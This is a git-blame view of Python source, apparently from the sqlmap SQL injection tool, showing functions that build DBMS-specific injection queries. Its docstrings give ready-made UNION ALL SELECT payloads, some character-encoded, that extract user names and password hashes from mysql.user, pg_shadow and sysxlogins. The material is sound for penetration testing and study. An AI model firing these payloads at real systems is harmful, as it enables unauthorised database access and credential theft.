MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
|
|
|
|
MySQL scope: VERSION()
|
|
|
|
|
|
|
|
PostgreSQL input: VERSION()
|
|
|
|
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
|
|
|
|
PostgreSQL scope: VERSION()
|
|
|
|
|
|
|
|
Oracle input: banner
|
|
|
|
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
|
|
|
|
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
|
|
|
|
|
|
|
|
Microsoft SQL Server input: @@VERSION
|
|
|
|
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
|
|
|
|
Microsoft SQL Server scope: @@VERSION
|
|
|
|
|
|
|
|
@param field: field string to be processed
|
|
|
|
@type field: C{str}
|
|
|
|
|
|
|
|
@return: field string nulled and casted
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2012-10-23 15:58:25 +04:00
|
|
|
nulledCastedField = field
|
2012-03-08 19:04:52 +04:00
|
|
|
|
2012-10-23 15:58:25 +04:00
|
|
|
if field:
|
|
|
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
|
|
|
|
2013-03-19 13:42:50 +04:00
|
|
|
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
2012-10-23 15:58:25 +04:00
|
|
|
nulledCastedField = field
|
2010-11-05 02:08:59 +03:00
|
|
|
else:
|
2013-01-21 18:04:27 +04:00
|
|
|
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
2015-11-16 18:59:54 +03:00
|
|
|
nulledCastedField = rootQuery.cast.query % field
|
2020-01-23 01:41:06 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
2012-10-23 15:58:25 +04:00
|
|
|
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
|
|
|
else:
|
|
|
|
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
2012-02-21 15:44:48 +04:00
|
|
|
|
2019-11-17 02:52:04 +03:00
|
|
|
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
2013-12-27 01:27:04 +04:00
|
|
|
if conf.hexConvert or kb.binaryField:
|
2012-10-23 15:58:25 +04:00
|
|
|
nulledCastedField = self.hexConvertField(nulledCastedField)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return nulledCastedField
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def nullCastConcatFields(self, fields):
|
|
|
|
"""
|
|
|
|
Take in input a sequence of fields string and return its processed
|
|
|
|
nulled, casted and concatenated fields string.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: user,password
|
|
|
|
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
|
|
|
|
MySQL scope: SELECT user, password FROM mysql.user
|
|
|
|
|
|
|
|
PostgreSQL input: usename,passwd
|
|
|
|
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
|
|
|
|
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
|
|
|
|
|
|
|
|
Oracle input: COLUMN_NAME,DATA_TYPE
|
|
|
|
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
|
|
|
|
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
|
|
|
|
|
|
|
|
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
|
|
|
|
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
|
|
|
|
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
|
|
|
|
|
|
|
@param fields: fields string to be processed
|
|
|
|
@type fields: C{str}
|
|
|
|
|
|
|
|
@return: fields string nulled, casted and concatened
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2017-04-21 18:44:51 +03:00
|
|
|
if not Backend.getIdentifiedDbms():
|
2010-10-15 16:52:33 +04:00
|
|
|
return fields
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-10-24 02:24:57 +04:00
|
|
|
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
|
2011-01-20 02:46:39 +03:00
|
|
|
nulledCastedConcatFields = fields
|
|
|
|
else:
|
2013-01-22 18:51:06 +04:00
|
|
|
fieldsSplitted = splitFields(fields)
|
2011-01-28 19:36:09 +03:00
|
|
|
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
|
2011-01-20 02:46:39 +03:00
|
|
|
nulledCastedFields = []
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-20 02:46:39 +03:00
|
|
|
for field in fieldsSplitted:
|
|
|
|
nulledCastedFields.append(self.nullAndCastField(field))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-09-26 01:10:45 +04:00
|
|
|
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
|
2011-11-21 00:14:47 +04:00
|
|
|
nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return nulledCastedConcatFields
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getFields(self, query):
|
2008-12-10 20:23:07 +03:00
|
|
|
"""
|
|
|
|
Take in input a query string and return its fields (columns) and
|
|
|
|
more details.
|
|
|
|
|
|
|
|
Example:
|
|
|
|
|
|
|
|
Input: SELECT user, password FROM mysql.user
|
|
|
|
Output: user,password
|
|
|
|
|
|
|
|
@param query: query to be processed
|
|
|
|
@type query: C{str}
|
|
|
|
|
|
|
|
@return: query fields (columns) and more details
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
2011-01-18 02:43:37 +03:00
|
|
|
|
2016-09-23 14:37:44 +03:00
|
|
|
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
2013-01-21 19:15:38 +04:00
|
|
|
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
2013-01-30 21:21:15 +04:00
|
|
|
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
2013-01-21 19:15:38 +04:00
|
|
|
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
|
|
|
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
|
|
|
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
|
|
|
|
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
|
|
|
|
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
|
|
|
|
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
|
|
|
|
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
|
2011-01-19 02:02:11 +03:00
|
|
|
fieldsNoSelect = query
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-01-31 16:49:19 +04:00
|
|
|
_ = zeroDepthSearch(query, " FROM ")
|
|
|
|
if not _:
|
|
|
|
fieldsSelectFrom = None
|
|
|
|
|
2015-11-04 16:48:40 +03:00
|
|
|
fieldsToCastStr = fieldsNoSelect
|
|
|
|
|
2011-02-21 19:00:56 +03:00
|
|
|
if fieldsSubstr:
|
|
|
|
fieldsToCastStr = query
|
2011-05-01 19:47:00 +04:00
|
|
|
elif fieldsMinMaxstr:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsMinMaxstr.group(1)
|
2011-02-21 19:00:56 +03:00
|
|
|
elif fieldsExists:
|
2015-10-09 12:54:28 +03:00
|
|
|
if fieldsSelect:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsSelect.group(1)
|
2011-01-18 02:43:37 +03:00
|
|
|
elif fieldsSelectTop:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsSelectTop.group(1)
|
2013-01-30 19:55:09 +04:00
|
|
|
elif fieldsSelectRownum:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsSelectRownum.group(1)
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsSelectDistinct:
|
2015-10-09 17:52:13 +03:00
|
|
|
if Backend.getDbms() in (DBMS.HSQLDB,):
|
|
|
|
fieldsToCastStr = fieldsNoSelect
|
|
|
|
else:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsSelectDistinct.group(1)
|
2009-04-22 15:48:07 +04:00
|
|
|
elif fieldsSelectCase:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsSelectCase.group(1)
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsSelectFrom:
|
2013-01-21 19:15:38 +04:00
|
|
|
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
|
2013-01-21 20:01:52 +04:00
|
|
|
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsSelect:
|
2016-09-23 14:39:27 +03:00
|
|
|
fieldsToCastStr = fieldsSelect.group(1)
|
2010-11-03 13:08:27 +03:00
|
|
|
|
2016-12-12 12:47:05 +03:00
|
|
|
fieldsToCastStr = fieldsToCastStr or ""
|
|
|
|
|
2011-02-01 00:20:23 +03:00
|
|
|
# Function
|
2018-06-10 00:38:00 +03:00
|
|
|
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
2010-04-03 23:41:47 +04:00
|
|
|
fieldsToCastList = [fieldsToCastStr]
|
|
|
|
else:
|
2013-01-22 18:51:06 +04:00
|
|
|
fieldsToCastList = splitFields(fieldsToCastStr)
|
2008-12-03 02:49:38 +03:00
|
|
|
|
2011-01-18 02:43:37 +03:00
|
|
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-01-08 13:55:25 +04:00
|
|
|
def simpleConcatenate(self, first, second):
|
|
|
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
|
|
|
return rootQuery.concatenate.query % (first, second)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2013-01-15 19:05:33 +04:00
|
|
|
def preprocessField(self, table, field):
|
|
|
|
"""
|
2013-03-26 17:11:17 +04:00
|
|
|
Does a field preprocessing (if needed) based on its type (e.g. image to text)
|
2013-01-15 19:05:33 +04:00
|
|
|
Note: used primarily in dumping of custom tables
|
|
|
|
"""
|
|
|
|
|
|
|
|
retVal = field
|
2013-04-01 19:32:16 +04:00
|
|
|
if conf.db and table and conf.db in table:
|
2013-01-15 19:05:33 +04:00
|
|
|
table = table.split(conf.db)[-1].strip('.')
|
|
|
|
try:
|
|
|
|
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
|
|
|
|
for name, type_ in columns.items():
|
|
|
|
if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
|
|
|
|
retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
|
|
|
|
break
|
|
|
|
except KeyError:
|
|
|
|
pass
|
|
|
|
return retVal
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def concatQuery(self, query, unpack=True):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Take in input a query string and return its processed nulled,
|
|
|
|
casted and concatenated query string.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: SELECT user, password FROM mysql.user
|
|
|
|
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
|
|
|
|
|
|
|
|
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
|
|
|
|
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
|
|
|
|
|
|
|
|
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
|
|
|
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
|
|
|
|
|
|
|
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
|
|
|
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
|
|
|
|
|
|
|
|
@param query: query string to be processed
|
|
|
|
@type query: C{str}
|
|
|
|
|
|
|
|
@return: query string nulled, casted and concatenated
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2011-02-14 01:48:01 +03:00
|
|
|
if unpack:
|
|
|
|
concatenatedQuery = ""
|
2012-08-20 23:57:25 +04:00
|
|
|
query = query.replace(", ", ',')
|
2011-01-18 02:43:37 +03:00
|
|
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
2011-02-14 01:48:01 +03:00
|
|
|
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
|
|
|
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
|
|
|
else:
|
|
|
|
return query
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2015-10-13 14:04:59 +03:00
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
2011-01-18 02:43:37 +03:00
|
|
|
if fieldsExists:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += ",'%s')" % kb.chars.stop
|
2011-01-20 02:46:39 +03:00
|
|
|
elif fieldsSelectCase:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += ",'%s')" % kb.chars.stop
|
2011-01-18 02:43:37 +03:00
|
|
|
elif fieldsSelectFrom:
|
2013-01-21 19:15:38 +04:00
|
|
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
|
|
|
concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
2011-01-20 02:46:39 +03:00
|
|
|
elif fieldsSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += ",'%s')" % kb.chars.stop
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2020-01-23 18:59:02 +03:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
2011-01-18 02:43:37 +03:00
|
|
|
if fieldsExists:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
2011-01-20 02:46:39 +03:00
|
|
|
elif fieldsSelectCase:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += ")||'%s'" % kb.chars.stop
|
2011-01-18 02:43:37 +03:00
|
|
|
elif fieldsSelectFrom:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
2013-01-21 19:15:38 +04:00
|
|
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
|
|
|
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
2019-09-13 17:30:26 +03:00
|
|
|
concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
|
2011-01-20 02:46:39 +03:00
|
|
|
elif fieldsSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
2011-01-18 02:43:37 +03:00
|
|
|
if fieldsExists:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
2011-01-18 02:43:37 +03:00
|
|
|
elif fieldsSelectTop:
|
2018-06-10 00:38:00 +03:00
|
|
|
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
|
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
2011-01-20 02:46:39 +03:00
|
|
|
elif fieldsSelectCase:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
2009-01-03 02:26:45 +03:00
|
|
|
elif fieldsSelectFrom:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
2013-01-21 19:15:38 +04:00
|
|
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
|
|
|
concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
2011-01-20 02:46:39 +03:00
|
|
|
elif fieldsSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
2008-10-15 19:38:22 +04:00
|
|
|
elif fieldsNoSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-07-07 17:20:40 +04:00
|
|
|
elif Backend.isDbms(DBMS.ACCESS):
|
|
|
|
if fieldsExists:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "&'%s'" % kb.chars.stop
|
2011-07-07 17:20:40 +04:00
|
|
|
elif fieldsSelectCase:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += ")&'%s'" % kb.chars.stop
|
2011-07-07 17:20:40 +04:00
|
|
|
elif fieldsSelectFrom:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
|
2013-01-21 19:15:38 +04:00
|
|
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
|
|
|
concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
2011-07-07 17:20:40 +04:00
|
|
|
elif fieldsSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "&'%s'" % kb.chars.stop
|
2011-07-07 17:20:40 +04:00
|
|
|
elif fieldsNoSelect:
|
2011-09-26 01:10:45 +04:00
|
|
|
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
2011-07-07 17:20:40 +04:00
|
|
|
|
2011-05-01 12:04:08 +04:00
|
|
|
else:
|
2016-09-29 14:35:16 +03:00
|
|
|
warnMsg = "applying generic concatenation (CONCAT)"
|
2013-01-16 05:53:33 +04:00
|
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
|
|
|
|
if fieldsExists:
|
2016-09-29 14:35:16 +03:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
2013-01-16 05:53:33 +04:00
|
|
|
elif fieldsSelectCase:
|
2016-09-29 14:35:16 +03:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
2013-01-16 05:53:33 +04:00
|
|
|
elif fieldsSelectFrom:
|
2013-01-21 19:15:38 +04:00
|
|
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
2016-09-29 14:35:16 +03:00
|
|
|
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
2013-01-16 05:53:33 +04:00
|
|
|
elif fieldsSelect:
|
2016-09-29 14:35:16 +03:00
|
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
|
|
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
2013-01-16 05:53:33 +04:00
|
|
|
elif fieldsNoSelect:
|
2016-09-29 14:35:16 +03:00
|
|
|
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
2011-05-01 12:04:08 +04:00
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return concatenatedQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-10-28 02:36:09 +04:00
|
|
|
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Take in input an query (pseudo query) string and return its
|
|
|
|
processed UNION ALL SELECT query.
|
|
|
|
|
|
|
|
Examples:
|
|
|
|
|
|
|
|
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
|
|
|
|
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
|
|
|
|
|
|
|
|
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
|
|
|
|
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
|
|
|
|
|
|
|
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
|
|
|
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
|
|
|
|
|
|
|
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
|
|
|
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
|
|
|
|
|
|
|
@param query: it is a processed query string unescaped to be
|
|
|
|
forged within an UNION ALL SELECT statement
|
|
|
|
@type query: C{str}
|
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
@param position: it is the NULL position where it is possible
|
2008-10-15 19:38:22 +04:00
|
|
|
to inject the query
|
2011-01-13 12:41:55 +03:00
|
|
|
@type position: C{int}
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
@return: UNION ALL SELECT query string forged
|
|
|
|
@rtype: C{str}
|
|
